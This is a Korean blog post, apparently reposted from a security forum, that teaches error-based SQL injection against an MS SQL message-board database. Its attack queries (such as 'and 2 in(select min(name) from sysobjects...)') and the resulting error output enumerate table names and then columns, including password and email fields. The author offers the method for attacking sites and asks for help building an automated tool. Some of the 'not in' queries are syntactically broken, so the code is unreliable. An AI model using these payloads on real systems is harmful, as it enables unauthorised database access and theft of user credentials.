어떤 게시판이 있습니다
그게시판의 데이터베이스의 테이블을 알아야겠죠?
select name from sysobjects where xtype='u'
일반적으로 쿼리창에서 얻을수 있는 테이블 리스트들입니다
지금 쿼리창을 여시고 한번확인해보세요 ...
그렇다면 어떻게 추출을 해야하나?
두가지 기법이 있습니다(제가 아는한은 -_-)
첫번째는 union입니다 이 기법은 많이 까다로운 기법입니다 컬럼갯수도 맞아야하고
에러메시지가 뜨더라도 별로 도움 아되는 에러메시지만 뜨공...
전 그래서 확실한 쿼리문과 컬럼문을 알지못하는 이상은 이기법은 되도록 피합니다
두번째 and 기법(전 이렇게 부릅니다 ;;이해하시길)
이건 저도 어제야 알겠됬는데 ㅎㅎ (다른분들은 다 아실듯 ㅠ_ㅠ)
에러메시지를 통해 모든 테이블 리스트를 하나하나 출력받을수 있습니다
단 에러메시지를 일괄적으로 묶어놓은데서는 소용없겠져?
일단 위의 쿼리문을 실행시 나타난 결과입니다
table2
tfile
sysdatabases
temp
board
mytmp
cyfd
그럼 공격쿼리를 작성해볼까요?
select * from board where intSeq =1 and 2 in(select min(name)
from sysobjects where xtype='U')
sql을 잘 모르시는 분들을 위해 약간의 설명을 드리겠습니다
일단 select * from board where intSeq=1
이구문은 대체로 서버쪽 쿼리문입니다 즉 http://test.co.kr/board/list.asp?seq=1
이런 구문과 일맥 상통하다고 볼수있죠
and 2 in(select min(name)
from sysobjects where xtype='U')
이부분이 우리가 sql injection을 주입할 쿼리입니다
and 2 in(이하 쿼리) 이부분은 일부로 에러메시지를 유도하기위해 작성되었습니다
2란값은 상수값을 나타내기위해썻고요 0을 써도되고 1도 써도되고 맘대로 쓰셔도 상관없습니다
select min(name) from sysobjects where xtype='U'
이쿼리에서 테이블 리스트를 뽑을수있습니다 min()이란 함수는 제일 작은 값이란 뜻이겠죠?
왜 min을 썻을까? 뒤에 가면 나옵니다 후후
자 작정하였으면 한번 테스트해보십시오
저는 에러메시지가 이렇게 뜨네요
Msg 245, Level 16, State 1, Line 1
nvarchar 값 'board'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
앗 발견했습니다 board란 테이블 후후
그럼 또다른 값은 어떻게 출력할까요?
네.....not in 이라는 아주좋은 쿼리문이있습니다 (포함을 시키지 않는다라는 구문이죠)
이걸 이용해 추가 작성해보겠습니다
select min(name) from sysobjects where xtype='U' and not in('board')
다시 공격해봅시다...
Msg 245, Level 16, State 1, Line 1
nvarchar 값 'cyfd'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
또다른 값이 나왔군요 :)
만약 min이란 함수를 쓰지않고 이런식으로 추가 공격을 하면 값을 제대로 추출할수없습니다..
먼가 값들을 정렬시켜서 추출을 해야죠
확인 하고싶으시면 min을 빼보시고 공격을 해보세요...
자 이렇게 테이블 리스트를 작성하였다면 필요한게 무엇이 있을까요?
컬럼 리스트들이죠 ...
일단 추출한 테이블 리스트들중 board란 테이블의 컬럼명들을 추출해보겠습니다
select name from syscolumns where id=(select id from sysobjects where name ='board' )
이 쿼리문은 board란 테이블의 모든 컬럼명을 추출하는 쿼리문입니다
아래 결과값
dtmReg_date
intCount
intSeq
strContent
strEmail
strName
strPassword
strSubject
strUserIP
이하 공격쿼리
select * from board where intSeq=1 and 2 in(
select name from syscolumns where id=(select id from sysobjects where name ='board' ))
select * from board where intSeq=1 and 2 in(이하쿼리문)
이부분은 말씀 안드려도 아시겠죠?
당장위의 쿼리문을 실행해봅시다
Msg 245, Level 16, State 1, Line 1
nvarchar 값 'blnTag'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
굳 +_+)b 발견했습니다 그렇다면 and not in을 이용해봅시다
select * from board where intSeq=1 and 2 in(
select name from syscolumns where id=(select id from sysobjects where name ='board' )
and not in ('blnTag'))
이런식으로 추가 획득 할수있습니다
휴....글을 짤막하게 쓸려고 했는데 어쩌다 보니 길어졌습니다
위에 글을 쓴 이유가 ...이걸 툴화 해서 제작을 해보고 싶은데....
이방법외에 다른방법으로 추출하는걸 아시는분이나 툴 제작 관련해서
도움주실분 댓글부탁드립니다
그게 아니더라도 위에 방법이 틀린점이 있거나 더 토론해봐야된다는 분도 환영입니다
어쩌꺼나 글을 읽어주셔서 감사합니다 ^^~
-출처 : Security plus
'Security' 카테고리의 다른 글
About GameGuard (0) | 2007.03.08 |
---|---|
Bypass REV 833 (0) | 2007.03.08 |
Wall Hack 의 원리 (1) | 2007.03.08 |
XSS (0) | 2007.03.08 |
중국해커들의 SQL Injection (0) | 2007.03.08 |